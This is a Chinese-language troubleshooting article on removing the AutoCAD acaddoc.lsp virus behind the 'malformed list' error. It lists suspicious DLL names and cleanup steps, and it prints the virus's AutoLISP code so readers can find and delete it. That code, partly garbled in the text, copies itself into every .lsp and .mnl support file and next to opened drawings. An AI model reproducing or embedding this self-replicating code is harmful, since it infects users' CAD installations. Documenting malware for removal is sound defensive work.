AutoCAD 菜单实用程序已加载

AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷

AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷 =============================================== acaddoc.lsp

CAD出现这种现象基本有以下几种情况：

1。一般是由CAD的安装目录下或CAD的SUPPORT目录下有acad.lsp这个文件引起的。这个文件可能是单位里 有自己开发的程序，使自己单位人员编写的。 2。CAD病毒程序。判断是不是CAD被病毒破坏

3。查找电脑的其它目录中（主要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll

及RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。

（搜索文件时，注意选择“搜索隐藏的文件”）

================================================ 以下是相关操作步骤：

1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。

2、关闭CAD程序。

3、全盘搜索 *.fas *.lsp *.mnl *.arx文件，除了CAD安装目录以外的该类文件均全部删除。

4、检查CAD安装目录文件的修改时间，把ACADDOC.LSP病毒感染

X:/Program Files/AutoCAD20**/Support文件夹下的 3d.lsp； 3darray.lsp； acad2010.lsp； acad2010doc.lsp； acadinfo.lsp； ai_utils.lsp； attredef.lsp； edge.lsp； mvsetup.lsp； sample-profile-util.lsp 文件以及

C:/Documents and Settings/用户名/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下 的*.MNL文件中的病毒代码删除。（用记事本打开）

5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。

说明： 要删除的病毒代码在文件的尾部，具体如下： (setq flagx t)

(setq bz \

(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn

(setq wjm1 (open target \(while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while

(close wjm1) );progn );if (if flag1 (progn

(setq wjm (open source \(setq wjm1 (open target \(write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag

(progn

(write-line text wjm1) );progn ); if );while (close wjm1) (close wjm) );progn ); if );defun

(setvar \

(setq acadmnl (findfile \

(setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath \(setq mnlnum (length mnlfilelist)) (setq acadexe (findfile \

(setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath \(setq lspfilelist (vl-directory-files support \(setq lspfilelist (append lspfilelist (list \(setq lspnum (length lspfilelist)) (setq dwgname (getvar \(setq dwgpath (findfile dwgname)) (if dwgpath (progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath \0)

(while (< mnln mnlnum) (

setq mnlfilename (strcat acadmnlpath \(app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0)

(while (< lspn lspnum) (

setq lspfilename (strcat support \(app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath \(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath \(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1)) ) ;while

(setq lspn1 0) (while (< lspn1 lspnum)

(setq lspfilename1 (strcat support \(app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while

(setq mnln (1+ mnln))

);while (setq lspn 0) (while (< lspn lspnum)

(setq lspfilename (strcat support \(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support \(app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath \(app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while

(setq lspn (1+ lspn)) (load \(princ)

后面可能还会有一些病毒程序代码，但大同小异，大部分以(setq flagxt)开头。 该方法绝对不会对CAD 的功能使用造成影响，请大家放心使用。 ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

照此方法操作，再启动Autocad和打开文件时没有“输入的列表有缺陷”的提示了，启动速度快了，并且 3DArray命令可以使用了。 非常感谢该文的作者。

本文来源：https://www.bwwdw.com/article/82n3.html